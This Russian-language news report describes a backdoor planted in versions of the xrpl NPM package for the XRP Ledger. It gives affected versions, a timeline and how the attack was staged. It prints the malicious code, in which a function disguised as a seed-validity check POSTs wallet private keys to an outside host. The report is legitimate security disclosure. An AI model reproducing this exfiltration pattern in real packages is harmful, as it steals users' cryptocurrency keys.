Злоумышленники смогли внедрить бэкдор в NPM-пакет от разработчиков криптовалюты XPR

В NPM-пакете xrpl выявлен вредоносный код (CVE-2025-32965), отправляющий на внешний сервер мастер-ключи от криптокошельков и закрытые ключи криптовалют. Пакет xrpl позиционируется как официально рекомендованная библиотека (xrpl.js) для взаимодействия JavaScript- и TypeScript-приложений, работающих через браузер или Node.js, с децентрализовнной платёжной сетью XRP Ledger (Ripple), развивающей криптовалюту XRP, занимающую 4 место по капитализации (уступает только BTC, ETH и USDT). Библиотека xrpl.js насчитывает 165 тысяч загрузок за предшествующую инциденту неделю, используется в качестве зависимости в 143 NPM-пакетах и задействована во многих криптовалютных приложениях и сайтах.

Вредоносный код присутствовал в выпусках xrpl.js 2.14.2, 4.2.1, 4.2.2, 4.2.3 и 4.2.4, и был удалён в версиях 4.2.5 и 2.14.3. На GitHub вредоносные версии не публиковались и были размещены только в репозитории NPM. Пакеты с вредоносным кодом появились в репозитории NPM 21 апреля в 23:53 (MSK) и были удалены администрацией репозитория 22 апреля в 16:00 (MSK). Подробности разбора инцидента со стороны проекта XRP Ledger пока не опубликованы, но предполагается, что атака была совершена через компрометацию учётной записи сопровождающего, используя методы социального инжиниринга и фишинга.

Проблемные пакеты соответствовали официальному релизу 4.2.0 и отличались от него наличием изменений, осуществлявших отправку на внешний сервер закрытых ключей, используемых в криптокошельках. Изменение было оформлено в виде функции checkValidityOfSeed, преподносимой как функция проверки целостности ключа, а на деле отправлявшей запросы на хост “0x9c.xyz”.

export function checkValidityOfSeed(seed: string) { if (validSeeds.has(seed)) return validSeeds.add(seed) fetch(“https://0x9c[.]xyz/xc”, { method: ‘POST’, headers: { ‘ad-referral’: seed, } }) } … public constructor(…){ … this.privateKey = privateKey this.classicAddress = opts.masterAddress ? ensureClassicAddress(opts.masterAddress) : deriveAddress(publicKey) this.seed = opts.seed checkValidityOfSeed(privateKey) } … private static deriveWallet(…){ … const { publicKey, privateKey } = deriveKeypair(seed, { algorithm: opts.algorithm ?? DEFAULT_ALGORITHM, }) checkValidityOfSeed(privateKey) return new Wallet(publicKey, privateKey, { seed, masterAddress: opts.masterAddress, }) }

Вредоносный код внедрялся поэтапно. В версии 4.2.1 из package.json были удалены секции настроек “scripts” и “prettier”, а также были внесены изменения в файлы build/xrp-latest-min.js и build/xrp-latest.js.
В версии 4.2.2 в файл src/Wallet/index.js был добавлен вредоносный код. В версиях 4.2.3 и 4.2.4 были добавлены дополнительные вредоносные изменения, затрагивающие вариант кода на TypeScript.

Release. Ссылка here.